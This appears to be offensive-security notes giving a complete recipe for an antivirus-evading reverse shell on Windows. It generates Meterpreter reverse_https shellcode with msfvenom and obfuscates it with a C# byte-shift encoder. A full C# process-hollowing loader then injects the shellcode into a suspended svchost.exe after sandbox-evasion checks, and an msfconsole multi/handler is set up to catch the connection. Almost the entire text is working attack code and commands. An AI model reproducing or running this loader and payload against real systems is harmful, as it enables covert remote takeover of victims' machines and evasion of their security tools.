-
Generate shellcode:
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=IP LPORT=PORT EXITFUNC=thread -f csharp
- Create a new C# Program to obfuscate shell code:
namespace Helper { class Program { static void Main(string[] args) { byte[] buf = new byte[752] {} byte[] encoded = new byte[buf.Length]; for(int i = 0; i < buf.Length; i++) { encoded[i] = (byte)(((uint)buf[i] + 2) & 0xFF); } StringBuilder hex = new StringBuilder(encoded.Length * 2); foreach(byte b in encoded) { hex.AppendFormat("0x{0:x2}, ", b); } Console.WriteLine("The payload is: " + hex.ToString()); } } }
- Visual Studio -> create new “Console App (.NET Framework)”. Namespace is the name of project. Full code (change the shellcode with step 2):
using System; using System.Collections.Generic; using System.Linq; using System.Runtime.InteropServices; using System.Text; using System.Threading; namespace HollowEvade { class Program { [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)] struct STARTUPINFO { public Int32 cb; public IntPtr lpReserved; public IntPtr lpDesktop; public IntPtr lpTitle; public Int32 dwX; public Int32 dwY; public Int32 dwXSize; public Int32 dwYSize; public Int32 dwXCountChars; public Int32 dwYCountChars; public Int32 dwFillAttribute; public Int32 dwFlags; public Int16 wShowWindow; public Int16 cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } [StructLayout(LayoutKind.Sequential)] internal struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public int dwProcessId; public int dwThreadId; } [StructLayout(LayoutKind.Sequential)] internal struct PROCESS_BASIC_INFORMATION { public IntPtr Reserved1; public IntPtr PebAddress; public IntPtr Reserved2; public IntPtr Reserved3; public IntPtr UniquePid; public IntPtr MoreReserved; } [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)] static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); [DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)] private static extern int ZwQueryInformationProcess(IntPtr hProcess, int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation, uint ProcInfoLen, ref uint retlen); [DllImport("kernel32.dll", SetLastError = true)] static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead); [DllImport("kernel32.dll")] static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten); [DllImport("kernel32.dll", SetLastError = true)] private static extern uint ResumeThread(IntPtr hThread); [DllImport("kernel32.dll")] static extern void Sleep(uint dwMilliseconds); [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred); [DllImport("kernel32.dll")] static extern IntPtr GetCurrentProcess(); static void Main(string[] args) { DateTime t1 = DateTime.Now; Sleep(2000); double t2 = DateTime.Now.Subtract(t1).TotalSeconds; if (t2 < 1.5) { return; } IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0); if (mem == null) { return; } STARTUPINFO si = new STARTUPINFO(); PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); bool res = CreateProcess(null, "C:\\Windows\\System32\\svchost.exe", IntPtr.Zero, IntPtr.Zero, false, 0x4, IntPtr.Zero, null, ref si, out pi); PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION(); uint tmp = 0; IntPtr hProcess = pi.hProcess; ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp); IntPtr ptrToImageBase = (IntPtr)((Int64)bi.PebAddress + 0x10); byte[] addrBuf = new byte[IntPtr.Size]; IntPtr nRead = IntPtr.Zero; ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead); IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0)); byte[] data = new byte[0x200]; ReadProcessMemory(hProcess, svchostBase, data, data.Length, out nRead); uint e_lfanew_offset = BitConverter.ToUInt32(data, 0x3C); uint opthdr = e_lfanew_offset + 0x28; uint entrypoint_rva = BitConverter.ToUInt32(data, (int)opthdr); IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase); byte[] buf = new byte[799] { }; for (int i = 0; i < buf.Length; i++) { buf[i] = (byte)(((uint)buf[i] - 2) & 0xFF); } WriteProcessMemory(hProcess, addressOfEntryPoint, buf, buf.Length, out nRead); ResumeThread(pi.hThread); } } }
- Prepare for the incoming shell:
msfconsole -q
use multi/handler
set payload windows/x64/meterpreter/reverse_https
set lhost IP
set lport PORT
exploit